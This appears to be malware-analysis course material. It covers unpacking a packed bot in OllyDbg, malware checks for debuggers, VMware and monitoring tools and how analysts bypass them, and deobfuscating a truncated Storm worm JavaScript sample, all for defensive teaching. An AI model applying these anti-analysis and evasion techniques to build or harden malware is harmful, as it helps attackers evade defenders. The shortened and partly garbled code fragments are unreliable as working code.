Recall that if OllyDbg asks you whether it should proceed with the analysis of the compressed executable, you should say “no.” Since this is a packed program, OllyDbg won’t be able to analyze it properly.
Tracing Initial Flow of Execution With F8

- Repeatedly press F8 to quickly step through the initial execution flow.
- Keep an eye out for interesting strings in registers or memory.
- If stuck in a loop, "escape" by setting a breakpoint outside of it.
  - Then F9 to get to the breakpoint

Since we're not sure what to expect from rep.exe running within OllyDbg, we can attempt to start tracing the executable within the debugger while looking at memory contents and registers for interesting strings, API calls, and unusual behavior. To do this, hold down the F8 key to step through the executable while stepping over function calls. If you find yourself "stuck" in a loop, create a breakpoint after the loop, then run to it by pressing F9. Then continue tracing via F8.

If you pause at some point, and want to look around by scrolling up or down, it's convenient to know how to return to your previous view. To do this, press the asterisk key (**), and OllyDbg will bring you to the view you saw when you paused stepping through the program.
Noticing a Defensive Mechanism

The specimen checks for common analysis tools via "lopen"

As you step through the specimen, notice a reference to the ASCII string "\". \TRM" in the ESI register. You should see it when you execute several instructions after the first loop where you will get "stuck," per the previous slide. At the offset 481046, the program calls "lopen" to check for the presence of a device, which in this case "\". \TRM".

To see this clearly, go to the "lopen" call at the offset 481046. You can do this by stepping through the program manually via F8, or by using Ctrl+G to find the 481046 offset, setting a breakpoint there, and then pressing run (F9) to execute until that point.

If you continued iterating through this block of code, you would notice the specimen checking for other devices, associated with common malware analysis tools, such as Regmon and Filemon.
The Check is Actually Broken, but What if it had Worked?

0 in EAX would indicate the presence of the analysis tool.

Malware can detect that we're analyzing it. It may look for files on the file system or registry keys. Here, we see our specimen try to locate an analysis tool. If the call for "lopen" at 481046 is able to locate the device, EAX will contain 0. This will result in the specimen refusing to run properly by following the jump to 48108F from the offset 481051.

Execute the "lopen" call at 481046 by pressing F8 (step over). You will notice that it returns a non-zero value in the EAX register. We're not running the tool it's checking for. However, even if we were running the tool, this code wouldn't detect it. This code seems to have been designed for an older version of Windows, or maybe for an older version of the analysis tools. It doesn't seem to be very effective. However, it is representative of the manner in which malware tries to detect our analysis tools.

In addition to checking for "\at\TR", the specimen checks for:

- \NICE
- \NTICE
- \FILEVXD
- \FILEMON
- \REGVXD
- \REGMON
Set EAX to 0 to Trigger the Defense to Simulate how You'd Bypass It

• If the defense had worked, you'd set EAX to a non-zero value.
• Hit F9 to run

What if the check for our analysis tools, shown on the previous slide, had been effective? To defeat it, we would have several choices:

• Remove the artifact the specimen is checking for
• Edit the data addressed by the call (e.g., "REGMON" instead of "REGMON")
• Edit the results of the CALL (set EAX to 0 after the CALL)
• Patch over the jump with a NOP

The least intrusive change is to edit the register before the program checks its value. The other patching or editing techniques are easy to detect with code integrity checks (such as CRC).

In this case, we'll simulate bypassing this defense by actually triggering it. Of course, would have done the opposite, had the specimen's check been effective. In this case, we'll edit the EAX register so that its value is 0. This will provide us with a quick way of observing the results of our patching process.

Edit the EAX register (by double-clicking on it) after the "lopen" call, so that its value is 0. Then, hit F9 to resume running the specimen. In a few seconds, you should get an error message, stating that the "Application cannot be run with debugger or monitoring tool(s) loaded..." Then, the specimen will terminate.
To speed up our analysis, you may want to use something besides stepping into or over each instruction. OllyDump includes a very convenient feature aimed at helping analysts locate the OEP without having to step through many lines of code. This is called “Find OEP by Section Hop.” As you can see on this slide's screen shot, you can invoke this feature with “Trace into” and “Trace over” options. The “Trace into” version is generally more reliable, though it may be slower than “Trace over.”

“Find OEP by Section Hop” works by detecting when the debugged program switches from running code in one memory section to another section. This symptom is often indicative of a protected executable unpacking itself into memory and starting to run the newly unpacked code of the original program.

So by using the Section HOP feature, we can get into the protection layers of the unpacking functions quickly. Sometimes, this also helps us avoid triggering some timing defenses that may be built into malware, because it allows us to examine code with fewer line-by-line stepping actions.

You can experiment with the “Find OEP by Section Hop” feature by loading rep.exe into OllyDbg, then selecting Plugins > OllyDump > Find OEP by Section Hop (Trace into).
Repeat "Section Hop" to Trace the Specimen in "Hops"

- Helps bypass some timing defenses.
- Doesn't seem to help find the OEP for rep.exe.

Each time you invoke "Find OEP by Section Hop," OllyDbg will trace the execution of the program, and pause when it detects the section hop. To find the next hop, click on "Find OEP by Section Hop" again.

In the case of rep.exe, this feature does not seem to get us close to the OEP. Instead, it keeps alternating between the code of rep.exe and the libraries, such as kernel32.dll, which rep.exe invokes.
OllyDbg's SFX Feature can Help Find the OEP (1)

- "Bytewise" is more accurate, but can be very slow.
- Use "Blockwise" for rep.exe.

We have another powerful tool at our disposal for attempting to locate the OEP in the packed specimen: the SFX feature of OllyDbg. To locate it, go to OllyDbg's debugging options, then click on the SFX tab.

SFX stands for "self-extracting executables." When enabled, OllyDbg will use memory breakpoints, hoping to catch executable code that didn't exist before (because the section was either compressed or empty). The SFX bytewise option is more accurate, but is very slow. The blockwise option is significantly faster, but not as accurate. In the case of rep.exe, the blockwise option seems to work; please enable it and click OK.

For SFX to work, you should make sure that the debugger is set to ignore exceptions. Further, if the packer had intertwined any complicated anti-debugging techniques with the unpacking process, SFX would get easily confused. This is because tracing, by definition, runs each operation through the debugger.
OllyDbg's SFX Feature can Help Find the OEP (2)

- SFX tries to detect the execution outside the original code section.
- Seems to find the OEP for rep.exe.

With SFX enabled, OllyDbg begins tracing the executable as soon as you load it into OllyDbg. It eventually pauses at the offset 415E96. If you dump the program now, you'll find it to be at least partially unpacked. This just might be the actual OEP!
Examine the Anti-Debugging Defense

- Set the breakpoint at 4159F6.
  - Scroll up or use Ctrl+G.
- Hit run (F9) to go there.

Once OllyDbg pauses at 4159F6, let's use the opportunity to look around. Specifically, there's a defensive mechanism located at 4159F6 that you might find interesting. (You would eventually locate this instruction by examining the executable at length.)

Scroll up to 4159F6 or press Ctrl+G to go there. Set a breakpoint there and hit F9 to run. You'll quickly hit the breakpoint.
The Specimen Tries to Detect the Debugger via IsDebuggerPresent

- HideOD would bypass this defense.
- We can also patch the code.
- Be as unobtrusive as possible.

Once the execution of the specimen reaches 4159F6, you can see the program calling IsDebuggerPresent. Windows NT and later kernels usually set a flag to signal that a debugger is running. IsDebuggerPresent reports the state of that flag. When used as a defense, IsDebuggerPresent is designed to determine whether a user-mode or Ring3 debugger is running. OllyDbg is a Ring3 debugger, so it will be detected if we do not conceal it.

Another anti-debugging trick could involve checking the state of the debug registers. For instance, OllyDbg and other debuggers store hardware breakpoints in the registers DR0, DR1, DR2, and DR3. If a malicious process can overwrite these registers to arbitrary values, the breakpoint set by the analyst would be overwritten and possibly never reached. Even if a very protective debugger checks these registers for tampering, at a minimum the malware can identify a breakpoint in its address space and know a debugger is attached to it. You can keep an eye on the debug registers in OllyDbg by right-clicking in the register window and select “View Debug Registers.”

To bypass this IsDebuggerPresent defense, we can use the HideOD plug-in. Or we could manually patch the specimen. If patching, we want to be as unobtrusive as possible, to decrease the likelihood that the specimen will detect our tampering.
Bypass the Defense by Changing the EAX Register

- Hit F8 to execute IsDebuggerPresent.
- Set EAX to 0 before the TEST operation.

How would we manually bypass the IsDebuggerPresent defense? We could allow the check to run, then patch the TEST after the call so the test appears to have a zero result. Usually, it is easier to reverse the logic of the jump instruction after the test. We can change the JNZ line (75 10) to NOP (90 90) and the code will fall through to the next line as if the test resulted in zero instead of one.

Usually the best way to bypass a defense is the way with the least impact on the specimen. If we can avoid changing the code itself, we can avoid triggering additional defenses that might check for tampering with something like a CRC signature.

The smallest change we can make is on the EAX register itself. OllyDbg will let us change the value in the register if we double-click on EAX in the upper right window where the registers are displayed. After setting this to 0, clicking on OK, then stepping past the JNZ at 41.59FB, we pass through the test without modifying any code and causing new problems.

It is very important to note that we did only fool one test on the EAX register. We could jump into the call or read documentation on kernel32.IsDebuggerPresent to see if it also returned a result somewhere else. For example, a piece of code we skipped over may have written the results to a Data segment of the sample in memory. OllyDbg does a good job of telling us that a register changed by turning it red, but it is more difficult to see a result stored in memory.
Reptile Bot Analysis so Far

- Seems to be packed with SVKP.
- Checks for VMware (primitive), debuggers, and monitoring tools.
- Some checks ineffective (outdated).
- Section Hop detection not too helpful.
- SFX may assist with the OEP search.

Let's sum up what we know about the rep.exe specimen. PeiD claimed it was packed with "SVKP 1.3x -> Pavol Cerven." Pavol published a book titled "Crackproofing Your Software." He seems to have implemented many of the book's defenses in this packer.

We can learn a bit about the packer from http://www.defendion.com/product-wrapper_introduction.htm:

"SVKP Wrapper system is designed to counter a variety of methods. It takes into account both the nature of attack approaches (direct attack, automated attacks). It is secured against frequently used techniques (reverse engineering, debugging, disassembling, decompilation, emulation, etc.)

SVKP Wrapper also utilizes protection techniques based on the difficulty of code analysis. SVKP Wrapper implements as the first product in its field Full Metamorphosis, a technology which transforms protective code into a unique, difficult to understand maze code."

With this description, it is safe to assume that the packing wrapper combines several anti-reversing techniques at the same time. The site also mentions how the code is metamorphic (changes shape), so we need to anticipate that even dumping the process will not give us a clean original executable. You may need to work on the specimen without removing the entire packing protection.

We will end our exploration of the specimen at this point, having shown you several key techniques for locating and bypassing defensive mechanisms built into many malware specimens. For additional information about rep.exe, take a look at the write-up by Sebastian Porst, available at http://www.the-interweb.com/serendipity/index.php?/categories/7-Malware.
Malware Defenses We Explored

- Tricky jump via SEH
- PE header corruption
- Fake memory breakpoint
- Fake error message
- TLS callback function
- VMware check
- Debugger check

This slide presents reminder of the self-defense techniques malware employs to make our jobs more difficult. We also discussed the approaches available to analysts to identify and bypass these defenses.
Now that we've seen a number of malware defenses in action, let's take a step back and survey key defense mechanisms that you may face in the field, and talk a little about why they work.
Confusing the Analyst (1)

- Bloat takes extra time to analyze
- Junk Code
  - Instructions with negligible impact
  - Routines with misleading purpose
- Excessive program flow changes
- Encrypted or packed code

Passive defenses are any techniques that naturally aid in preventing detection or analysis. We have already covered packing and VMware detection earlier in this section; they are passive techniques. The reptile bot we just examined employs other common defenses like obfuscation. The SVKP information we found claimed to use mazes of code to frustrate and complicate reversing the protection layer. This is usually done with many JMP instructions or other instructions that ultimately do not affect execution of the process's purpose.

The analyst has to trace through the JMPs. While tracing, it is important to keep the proper context of what is really happening, both between instructions and generally over all the code. Also, analysts tend to classify chunks of code to determine their purpose and function. With junk code, an analyst will spend time looking for the reason or the intended purpose of a few instructions that ultimately have no affect on the payload.

Encoded instructions can also be used as a defense. The typical XOR technique is reversible since the encryption is symmetric. This defense does not actively do anything to defend itself, but it could be combined with some of the active techniques.
Confusing the Analyst (2)

- Executable structure can be manipulated and misleading
- Polymorphism (semi or full)
- Beyond a single executable
  - Chained droppers
  - Vector hopping

In a 32-bit Windows executable, we have a PE structure. This structure contains much information about the executable, including that little message that declares it will not run in DOS-mode. The structure defines our Entry Point, which allows us to use relative addresses. This structure can be manipulated to confusing disassemblers. Sometimes, this defense takes on a more active role, where it modifies the PE structure during execution, but some things can be manipulated in an abnormal way yet still not prevent the executable from running.

A common defense now is the use of droppers. A malware specimen might actually not be the intended payload, just a sort of bootstrapping executable that merely downloads some other program and runs it. What if this other program was also a dropper that downloads from somewhere else? Droppers can be chained to break up the actual execution into different binary files.

Sometimes, while a dropper is performing the actual dropping, it will use a different way to transfer the next file. Maybe the initial executable runs and only downloads via an HTTP request a second piece. This second stage could be a browser helper object that manipulates the web browser, specifically to download via the web browser, but it is written in JavaScript. If you are tracing this activity with OllyDbg, you may be spending a lot of time in the browser's code and DLLs instead of just the malicious activity. (We will examine malicious browser scripts in Section 3 of this course.)
Detecting the Analyst's Sandbox and Tools

- Malware tends to watch for threats to itself
  - Virtual system, monitoring tools, debuggers, disassemblers
- Looking for virtual hardware
- Scanning for strings in RAM or on disk

Malware can detect the tools we use to analyze it. We have already seen some examples of such techniques in this section.

Any tool can be identified by just looking for fragments or signatures in RAM or in files on the disk. Think of this as anti-antivirus. The defense uses the same technique as a signature match from an antivirus tool. To defeat it, you just need to change the signature it matches. This is easy enough to do just by tracing with a debugger, then patching the check, or now you have the signature of the tool it checks for (so you can now change the tool to have a different signature).

The more interesting type of defense in this case is if it checks the timing. Timing is also a difficult defense to overcome. If a debugger is running, each original instruction will take several times longer to execute. If the defense check reveals a significant difference in total number of ticks, then it is likely a debugger is running. A very slow system could trigger this defense, so typically the process just aborts when it detects the timing.

In addition to looking for specific tools, specimens can employ advanced detective measures to learn the "normal" activity of a system and panic when it changes significantly. The Burneye packer for Linux ELF programs exhibits similar functionality.

Burneye uses several different protection mechanisms: one of them is fingerprinting the host so if there are significant changes in the operating system or devices, it will detect and assume that it is being analyzed. Think of this as Microsoft's Genuine Advantage, but for the bad guys. However, the most common are specific checks for tools. The best defense for this is to tread as lightly as possible and perhaps replicate the original environment to avoid detection of your analysis.

There are also techniques that will confuse a debugger or disassembler. Most of these techniques work well against one tool only, so you tend to see a few of them sprinkled throughout the protection mechanisms. These defenses can be circumvented by changing the default behavior or footprint of the tool. HideOD does this for OllyDbg, changing the settings of many features.
Detecting Capricious Errors

- A program may cause an error just to see how the error is handled.
- Trap the error and see if the trap contains the expected error.
- If there is a glitch in the error, the environment may be under manipulation by a debugger, rootkit, or other virtualization technique.

Modern malware is using the SEH functionality in creative ways. A process can purposefully cause an error of some kind, such as trying to divide by zero. The error handling function can be overloaded (redefined) so the error can be trapped and handled "gracefully." For example, if a process causes an error, the error handler is called so it can deal with the problem. A program could cause an error just to jump into its own error handler and continue the malicious code there or just ignore the error and return.

A debugger usually will also intercept these errors as they happen. It does this by overloading the SEH again with its own function. If our malware sample just ignored the error—now that it is handled differently, a debugger is revealed.

Some of the more creative code used in malware will run from an unexpected place in memory. This can serve a few purposes at the same time. If the malware has its own SEH handler defined, it can put some of the CPU instructions in the error handling routine itself. If a debugger is trapping errors, it will typically intercept the SEH call to catch the error, but really disrupts the program flow. The other aspect of using SEH as a defense mechanism is that much error handling is dealt with in the kernel and by causing a fault, the malware can force some of its code to run with ring 0 privileges. Not only is the code doing potentially malicious things outside of "normal" program execution, but it might also be escalating its privileges.
Detecting Change with Integrity Checks

- Program contains checksum
- Routine checks for tampering
- Protects code or data
- Typically easily defeated
  - Patch checksum after patching routine
  - Patch to never call the checksum test

A program can defend itself against patching with integrity checks. The same kinds of integrity checks you have seen to verify a file's integrity can be used here as a defense to tampering. Say you are writing your own new bot. If you want to be sure that the protection routine is not tampered with, before you run the routine you put in a check to see if the routine has the same md5sum as when you wrote it.

During analysis, sometimes you just need to patch to bypass something. How do you disable an integrity check defense? You simply make two patches: the original you wanted to patch in the first place and the integrity check itself. You can usually replace a checksum with a checksum after your patch and it will always work. Sometimes you can just patch the checksum check to return valid. If this integrity check is combined with another defense mechanism, you might have to get more creative, as patching might impact another defense mechanism.
FOR610.4 Roadmap

- Identifying Packers
- Manual Unpacking
- Unpacking with Automation
- More Manual Unpacking
- Bypassing Analysis Defenses

Exercises

... then 2nd half of FOR610.4

1st half of FOR610.4

We've been presenting exercises throughout this course module, to help you learn by performing the analysis steps.
Hands-on Exercises

1. Go over this section's manual unpacking of windowsxp2.exe.
2. Go over this section's manual unpacking of rep.exe.
3. Optional: Patch rep.exe to bypass its VMware-checking defense.

If you haven't had a chance to work on these exercises, now is your time.
Watch Your Step with Malware

- Ensure isolation of your laboratory environment.
- Solutions at the end of this section
- Specimens in the \Malware\day4 directory on the DVD
- Zip archive password: "malware"

Hands-on exercises for this course involve real-world malware code that is dangerous and needs to be handled with care. Please follow isolation guidelines and common sense precautions to ensure that you do not accidentally impact your production environment.

The malware specimens used for these exercises are located on the \Malware\day4 directory on the DVD you received for this course. Each specimen is in a dedicated zip file that is protected with the password "malware" to help prevent accidental execution and anti-virus detection.
Exercise 1: Unpacking windowsxp2.exe

In this exercise we will review the process of manually unpacking windowsxp2.exe.
The windowsxp2.exe Challenge

- Go over the manual windowsxp2.exe unpacking steps covered in this section.
- Make sure you can locate the Original Entry Point, dump the executable, and fix its PE header.

In this section we demonstrated the process for unpacking the PECompact2-protected executable windowsxp2.exe. Please go over this section's slides and implement these analysis steps in your own lab.

At the end of your analysis you should end up with an unpacked version of windowsxp2.exe that is able to run on your laboratory system.
Exercise 2: Unpacking rep.exe

In this exercise we will review the process of manually unpacking rep.exe.
The rep.exe Challenge

- Go over the manual rep.exe unpacking steps covered in this section.
- Try to manually trigger the RegMon/FileMon defensive measure.
- Locate the OEP using OllyDbg's SFX feature and dump it using OllyDump.

In this section we analyzed several defensive measures built into the rep.exe specimen. Please go over this section's slides and implement these analysis steps in your own lab. As part of the analysis, try to manually trigger the mechanism that attempts to identify the presence of RegMon, FileMon, and other analysis tools. Also, try using ollyDbg's SFX feature to locate the Original Entry Point; then, dump the process using OllyDump.
In this exercise we will review the process patching rep.exe to bypass its VMware-detection defense.
The Optional rep.exe Challenge

- Revert to a pristine virtual machine.
- Follow the steps we have demonstrated so far.
- Look for VMware registry check we saw in ProcessMonitor.
- Bypass the defense via patching.

In this exercise we will use OllyDbg to patch the check for VMware's registry keys while the rep.exe is running. You will need a clean environment to open the rep.exe sample with OllyDbg. Use OllyDump's SFX bytewise feature to get past the initial protection/packed layer. Bypass the defense mechanisms we have covered so far, then start looking for the VMware registry check.

Patch the specimen while it is running to bypass this defense mechanism. Confirm that the specimen infects the system as if VMware tools were not present on the system.
Exercise 3 Hints

- Tread lightly and use snapshots.
- Try isolating the VMware reference.
- Unpacking and using IDA Pro might be useful.
- VMware defense happens before we stopped our analysis so far.

Remember to minimize what you change in the sample. This will avoid further defense mechanisms and keep you from breaking the execution. If you are having a hard time finding the defense mechanism, you can get a different view by dumping the unpacked sample from memory and disassembling it with IDA Pro. If you follow along with what we have done with the specimen in this section, the VMware defense is unpacked. Sometimes you do not know what to look for until it passes you by. Make liberal use of snapshots and the minus key in OllyDbg (which will let you look behind to see what operations just happened).

If you have followed all of the steps in this section so far on the rep.exe sample, then you have gone too far.
Hands-On Exercises: Solutions

Solutions to Exercises 1 and 2 have been presented in the course materials. Please go over the previously-discussed slides for guidelines for performing the exercises and to validate your answers.

Solution to the optional Exercise 3 is presented in the following slides.

We've already covered the solutions to these exercises in the previous slides.
Exercise 3 Solution (1)

- Could change the environment by removing the registry keys.
- An alternative could be to avoid using VMware.
- Bypass by patching the executable:
  - Patch the string it looks for.
  - Patch the results of the TEST.

We could just change our environment with minimal impact to our analysis, but a more useful exercise is to patch the check or the result of the check. Compare what you found with the screenshots on the next two slides.
Exercise 3 Solution (2)

Set Breakpoint at x415998 then F9

First, we need to let the sample unpacked and get up to a point before the IsDebuggerPresent check. Before you actually deal with the IsDebuggerPresent check, you can scroll down and set a breakpoint at 415998 (Hardware on Execution). Now we can handle our IsDebuggerPresent check and when it starts preparing for the VMware registry-checking call, we can intercept it. When you run the program (F9), OllyDbg will pause at our breakpoint and we can step into the check or over it and manipulate the results of the VMware check.

We are not at the actually check yet, but our breakpoint is set when the first ASCII readable reference to VMware occurs, so the best thing to do is step into (F7) the code until we get into and past the actual check (on the next slide).
Exercise 3 Solution (3)

- Step Into (F7) the call at 4159AB
- Step Over (F8) until 411FF4

To get to the actual Registry check, Step Into the call at 4159AB and a few instructions until the CALL at 411FEE. Step Over this check so we can edit the EAX result before the TEST1 executes at 411FF4. Double-click on EAX in the register window just as you did for the IsDebuggerPresent check to foil the TEST.

Now Step Into after the TEST and you will see more registry checks for VMware at 4122B2 and 4122C9; do the same for these checks.

Now we have successfully foiled the test for VMware registry detection. There is still another VMware detection defense in this sample that is not always executed, we will leave that exercise to you.
FOR610.4 Roadmap

... done with 1st half of FOR610.4

- Essential Web Analysis Skills
  - Anti-Deobfuscation
  - Microsoft Tools
  - Additional Automation
  - Hands-On Exercises

2nd half of FOR610.4

We introduced the notion of examining malicious browser scripts earlier in the course. At that point, we relied on several tools, including a debugger Firebug to deobfuscate JavaScript. This section explores the topic in greater detail, introducing several other tools you will find useful. The key objective is to make you comfortable analyzing more advanced malicious browser scripts written in JavaScript and VBScript. These scripts will usually be obfuscated, so we must be able to deobfuscate them. We will use several debuggers and script interpreters to accomplish this. We will also learn to handle scripts that protect themselves from modifications, which makes it difficult for us to debug them at times.

We will start this section with a brief reminder of the relevance of web-based malware to clarify the need for analyzing browser-based malicious scripts. Our next topic will survey the essential skills for analyzing web malware, and will present you with several tools-debuggers and interpreters—for analyzing browser scripts.

We will examine many examples of malicious scripts, most of which will be fully or partially obfuscated. One of the topics in this section will deal with the more advanced obfuscating techniques you are likely to encounter.

Malicious scripts are often written for specific browsers. That's why we will look at analysis tools that are useful for Firefox-targeting scripts, as well as for Internet Explorer-targeting scripts. In this context, we will discuss several tools available from Microsoft that will help you examine web malware.

We will end this section by examining several handy techniques for automating some aspects of analyzing malicious browser scripts.
Essential Web Analysis Skills

Let's begin by briefly reviewing the essential skills we must possess to analyze web-based malicious code. We will look at several analysis tools that can save us a lot of time, and explore an example of a malicious browser script. This material will set the stage for the more in-depth discussion.
Why Web Malware?

- Web malware evolution
  - Web as a medium very attractive
  - Increasing number of client side exploits
- Better anti-virus detection = more advanced web malware

Let us first analyze what leads to such a high rise in web malware. The beginning of this century was marked by fast burning worms that tried to remotely infect as many machines as possible. Over time the number of remotely exploitable vulnerabilities decreased and host based firewalls that block all incoming traffic by default became more widespread. The main goal for attackers also changed: they are not interested in "fame" any more, but they want to gain profit from compromising other machines, so they turned to client side exploits. Web as a medium became very attractive – not only users use it every day, but browsers are available on every machine, and they turned out to be an almost unlimited source of vulnerabilities.

The anti-virus vendors answered by adding detection for malicious scripts, which in turn leads to more obfuscation. As browsers use interpreted languages, this means that all scripts have to be sent in clear text to the victim. In order to hide malicious browser code, attackers are increasingly using Anti-Deobfuscation techniques and lately even anti-debugging techniques.
The Need for Browser Script Debuggers and Interpreters

- Analyze malicious web pages that use JavaScript and/or VBScript
- Defeat obfuscation and related defensive techniques
- Handle various obfuscation methods
- Assemble multiple script components

Two main scripting languages supported by web browsers today are JavaScript and VBScript (Visual Basic Script). Internet Explorer supports both VBScript and JavaScript, while other browsers support JavaScript only.

Similarly to how we examine malicious compiled executables, we need to perform code analysis to examine malicious scripts. While some scripts can be analyzed statically by merely looking at them with a text editor, script debuggers and allow us to easily understand the execution flow and monitor variables. We will also benefit from having standalone script interpreters that can execute malicious scripts outside the browser.

Protective techniques that have been used in malicious compiled executables can be similarly used in malicious scripts as well. The primary difference is that malicious scripts are interpreted, so the code isn't compiled. This means that we will always analyze either JavaScript or VBScript code; however, it can be obfuscated using various techniques applicable to both scripting languages, such as random function and variable names. As we will see later, besides obfuscation, the attacker can also utilize various encoding techniques to make scripts hard to read for anti-virus programs and human analysts.

Finally, malicious scripts are often split into multiple script files. A browser will download all files and execute script code in memory, while a typical anti-virus program will scan each file separately.
Typical Browser Script Obfuscation Techniques (1)

- Methodology same as with packers
  - One or more deobfuscation functions
  - After deobfuscation, execute second layer
- Usually, we just want to know the final result of deobfuscation

Browser script obfuscation methods have a lot of similarities with packers that are used to protect binaries. The attackers typically use one or more different obfuscation techniques that are called in layers. When the browser executes such an obfuscated script, it will execute layer upon layer until the final code is reached. The obfuscation techniques are, from a browser's point of view, irrelevant, and their only purpose is to make Anti Virus detection and analysis more difficult.

When analyzing such scripts we generally just want to know the final result. In most cases this is either an exploit or HTML code pointing to a different site (usually through iframe tags).
Typical Browser Script Obfuscation Techniques (2)

```javascript
function decipher(x) {
    var l=x.length, b=1024, i, j, r, p=0, s=0, w=0,
    t=Array(63, 35, 30, 14, 5, 7, 29, 47,
    ... 
    document.write(x);
}

decipher("4_AjM12awgepAS3Im5h_9hR_M028iyh_BygGVco
xzUqCAdoCE4Kez7fd7_iqyj3LB7fd7_Lmd5304K6PqaCo2
0Cqw6xfsqv3KnGdh8BwgepAtQx8aqCDc1MgewQ0qFHC02oOD
56xKd9g6tLqQuLqgNfaU2imVdQPBplGkcirbt ...")
```

This slide shows a typical implementation of browser script obfuscation implemented in JavaScript. It typically contains the following elements:

- The deobfuscation function—in this case called `decipher`—that implements various logic that, when applied on the input argument, results in deobfuscated code. The obfuscation methods vary, but are often based on permutation and substitution. In this example, we can see a big array assigned to variable "t". This array's contents are used to deobfuscate the input argument supplied to the `decipher()` function. The input parameter depends on the values in the array. In other words, the same exploit can be obfuscated multiple times, with different array values and it will result in a completely different input parameter for the `decipher()` function. The main goal of this is to make anti-virus detection more difficult, especially when based on signatures.

- The deobfuscation function must somehow execute the next layer, whether it is just another obfuscation layer or the final exploit code. This is often done with either a call to the `document.write()` method (as in this case) or with the `eval()` method.

- Finally, the main code calls the deobfuscation function (`decipher()`) with a seemingly random input string that contains the obfuscated code (the next layer or the final exploit).
Browser Script Debugger and Interpreter Options

- Open Source
  - Rhino, Firebug
  - SpiderMonkey, Malzilla
- Microsoft
  - Microsoft Script Debugger/Editor
  - Internet Explorer Debugger
  - cscript/wscript

To understand the execution flow and monitor variables and functions in malicious browser scripts, it helps to have a script debugger and a script interpreter. We can split these tools into two main categories: open source debuggers/interpreters that generally work on all operating systems and Microsoft-only tools. Microsoft's tools support not only JavaScript, but also VBScript.

The most commonly used open source script tools are listed below:

- SpiderMonkey is a standalone command-line JavaScript interpreter. It is also released by the Mozilla Foundation and it uses Mozilla's JavaScript engine. It is great for quick execution and evaluation of scripts. As it is a standalone interpreter, it is also safe from most attacks.
- Rhino is a JavaScript debugger written in Java. It is released by the Mozilla Foundation and it uses Mozilla's JavaScript engine (Spider Monkey). Rhino has a nice GUI, but is missing some advanced features that other debuggers have, such as Internet Explorer's debugger.
- Firebug is an add-on for Firefox that allows interactive debugging of JavaScript in web pages. (We already covered it earlier in the course, and won't discuss it in this section.)
- Finally, Malzilla is a specialized tool for analyzing malicious JavaScript files. As the core engine it uses Spider Monkey. During the past few years, Malzilla's author added a lot of useful features; as a result, Malzilla is today one of the best tools for this job.

Microsoft released several tools that can help us analyze malicious JavaScript and VBScript files.

- Microsoft Script Debugger is the original debugger that is not supported any more, but it is still freely available.
- Microsoft Script Editor is part of Microsoft Office and as such is a commercial tool. It's the more advanced and powerful version of Microsoft Script Debugger.
- Starting with Internet Explorer 8, Microsoft included a very powerful and easy-to-use debugger that is automatically installed with the browser. This debugger can debug not only JavaScript and VBScript files, but can help building HTML/CSS files as well and even profile web pages.
- Microsoft Windows includes standalone interpreters cscript/wscript that can execute JavaScript and VBScript scripts outside the web browser.
Our Example: Storm Worm's Script

```javascript
function xor_str(plain_str, xor_key) {
    var xored_str = "";
    for (var i = 0; i < plain_str.length; ++i) {
        plain_str.charCodeAt(i) ^ xor_key;
    }
    return xored_str;
}

var plain_str = "\x90\x99\x8b\x9a\x8b\x8c\x9a\x9b\x9c\x8d\x8e\x8f\x9f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x00"
var xored_str = xor_str(plain_str, 184);
document.write(xored_str);
```

*Code shortened to fit on the slide*

As our example, we will analyze the malicious JavaScript file that was distributed by the Storm worm. The Storm worm started spreading in January 2007 using e-mail messages with subject lines about weather disasters (storms) in Europe, hence the name. It was one of the first worms to use peer-to-peer for command and control mechanisms. Among other e-mails it sent, the Storm worm also sent URLs to compromised machines that were serving Web pages utilizing various social engineering tricks.

Besides social engineering, the web pages also contained an exploit pack that tried to exploit older vulnerabilities in Internet Explorer. This exploit code is obfuscated, so we will use it as an example to show various de-obfuscation techniques.

On this slide we can see a typical obfuscation technique that is used by many malicious scripts, not just by the Storm worm. The main exploit code is obfuscated and stored in a string. The code then calls the de-obfuscation function `xor_str()`. The output from this function is then passed as an input argument to `document.write()`, which causes it to be executed by the browser. In other words, whatever is the output string from the `xor_str()` function will be executed by the browser.

The variable `xored_str`, which is used as the input argument to the `document.write()` function, will contain the de-obfuscated code. Therefore, we will want to set a breakpoint on the `document.write(xored_str)` line and then examine the content of the `xored_str` variable before it gets executed by the `document.write()` call.

A copy of this malicious script is on your course DVD in 'Malware\day4\storm.zip'. It is also on your REMnux virtual machine in `~remnux/malware/day4/storm.zip`.
SpiderMonkey is a standalone, command line JavaScript interpreter that is developed by Mozilla. It uses the same engine that's part of the Firefox browser. Being a command line utility that is not part of a larger browser code base, SpiderMonkey has a smaller attack surface, and is generally safer than browsers when it comes to exploits. One downside of SpiderMonkey is that it has no JavaScript objects that a browser automatically defines web pages, such as the “document” object.

An object is a basic element in object-oriented programming, an instance of a class. Classes have various methods that perform functions and that can be called by other objects. One such example is the `write()` method of the “document” object (document.write()), which causes data to be printed in the object’s context in a browser. JavaScript files in browsers typically rely heavily at least on the document.write() method. Since the “document” object is not defined in SpiderMonkey, this means that we either have to modify the JavaScript file to use a command that doesn’t rely on the object, or we’ll need to define introduce the “document” object ourselves.

As we are typically only interested in content of certain variables (such as xored str, in our Storm worm example), we can replace the document.write() call in the malicious script with the print() call to print any variables on the screen. Besides this, we can define the document object ourselves by modifying the malicious JavaScript file we are analyzing. This way we can add any method/data the malicious script depends on and “simulate” a browser.

Remember that SpiderMonkey can only run JavaScript. You’ll need to remove any HTML tags from the malicious file before attempting to load it into SpiderMonkey.

SpiderMonkey is already installed on REMnux. You can invoke SpiderMonkey by typing js on the command shell. This version of SpiderMonkey has been slightly customized from the standard distribution to handle the JavaScript eval() command in a special way: REMnux’ SpiderMonkey will not only execute parameters passed to eval(), but will also print what it’s executing to standard output. For details about this change, see the following file on your REMnux virtual machine: -remnux/jumpstart-v/INSTALL_spidermonkey.
To invoke SpiderMonkey on Linux, you use the `js` command, supplying scripts to run as input files using the `--s` parameter.

If you try to run `storm.js` in SpiderMonkey, you'll get an error stating that the "`document`" object is not defined. That's because this script was written to run within the web browser, which would define this object. No problem—we can define the object and the necessary methods (like `document.write`) manually.
Defining JavaScript Objects, Methods and Functions

```javascript
document = {
    write: print,
    writeln: print
};
eval = function(input_string) {
    print(input_string);
}
```

In this slide we created a new object ("document") and overwrote a function ("eval") that was already defined by the JavaScript framework. This is possible thanks to the object oriented programming model that JavaScript uses—methods and objects can be overwritten to change their function.

